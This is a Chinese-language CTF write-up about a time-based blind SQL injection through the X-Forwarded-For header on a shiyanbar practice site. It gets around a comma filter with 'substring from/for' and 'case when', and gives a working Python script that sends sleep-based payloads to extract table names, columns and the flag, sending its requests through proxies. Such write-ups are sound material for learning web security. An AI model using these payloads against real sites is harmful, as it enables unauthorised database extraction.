拿到這一題,根據提示域頁面顯示的ip,很多小夥伴們肯定猜到了這是一道http頭注入,且是與ip相關的,與ip相關的頭常見的有:
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr
x-forwarded-for
最常見的可能就是X-Forwarded-For了吧,所以我直接試了一下,將它的值修改爲127.0.0.1,頁面上的顯示也跟着變了,看來就是它了。然後隨便加一個單引號試了一下,發現被原樣輸出在了頁面上,也沒有報錯,然後試了雙引號括號等,都沒有報錯,難道是被過濾了,過濾了還能怎麼玩呢?於是暫且排除過濾,聯想到了會不會是時間盲注,於是開始寫payload,但是在利用substr函數時,發現逗號後面的內容都會被截斷,頓時懵逼了,小白剛剛入坑,也不知道怎麼繞過,於是百度之,原來substring函數有一用法可以不適用逗號完成截取功能:
substring('mask',1,2)
等價於
substring('mask' from 1 for 2)
還有一個問題,就是我之前遇到盲注都是用if來實現條件判斷,但是if大家也知道時需要逗號的,這裏可以使用select case when語句來替代。
if與select case when參考,現在,我們就可以來寫腳本了。
首先我們需要知道當前數據庫所有的表名:
#! /usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import time
chars = r"abcdefghijklmnopqrs tuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@;\/:.,0123456789"
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
#設置代理,可以忽略
proxies = {
"http":"http://115.223.238.191:9000",
# "http":"http://117.90.252.231:9000",
# "http":"http://115.218.126.92:9000"
}
#這個函數的作用是獲取表名的長度,知道了長度,跑表名更加方便
def get_len():
len = 1
while True:
headers = {
"X-Forwarded-For":
"' or (select case when (select length((select group_concat(table_name) from information_schema.tables where table_schema=database())))={0} then sleep(5) else 1 end ) and '1'='1".format(len)
}
# headers = {
# "X-Forwarded-For":
# "' or (select case when (select length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag')))={0} then sleep(5) else 1 end ) and '1'='1".format(len)
# }
#headers = {
# "X-Forwarded-For":
# "' or (select case when (select length((select flag from flag)))={0} then sleep(5) else 1 end) and '1'='1".format(len)
#}
print u'當前長度%d'%len
len += 1
start = time.time()
requests.get(url,headers=headers,proxies=proxies)
end = time.time()
if end - start >= 5:
print "The length is %d"%(len-1)
return len-1
#獲取具體的內容
def get_content():
result = ''
for i in range(1,5):
for char in chars:
headers = {"X-Forwarded-For":
"' or (select case when (select substring(\
(select group_concat(table_name) from information_schema.tables where table_schema=database()) \
from {0} for 1))='{1}' then sleep(5) else 1 end) and '1'='1".format(i,char)}
#headers = {
# "X-Forwarded-For":
# "' or (select case when \
# (select substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag') \
# from {0} for 1))='{1}' then sleep(5) else 1 end ) and '1'='1".format(i,char)
# }
start = time.time()
requests.get(url,headers=headers,proxies=proxies)
end = time.time()
if end - start >= 5:
result += char
print u'當前進度:'+result
break
print u'結果:'+result
if __name__ == '__main__':
get_len()
#get_content()
上面的腳本只需要根據特定的目的,修改爲特定的headers就行
我跑了一下當前數據庫中group_concat(table_name)的length爲14,於是就需要根據這個長度修改一下get_content函數的外層循環的爲for i in range(1,15),由於一些失誤,這裏跑出來的表名混在一起了,但是還是可以纔出來最後的flag就是我們想要的表名。
然後跑一下字段的長度
字段名
由於我一開始腳本沒有設置代理,所以到跑內容的時候,ip被封了。。。。
沒想到已經隔了一週多了,上面寫的東西都忘得差不多了,但是還是要完成啊。
繼續跑flag的長度:
跑到一半網掛了….最終也沒跑完,不過思路就這樣了,flag也不放出來了。
有大佬給出了用sqlmap與burpsuite的方法,後續可能會補上
關注web安全與python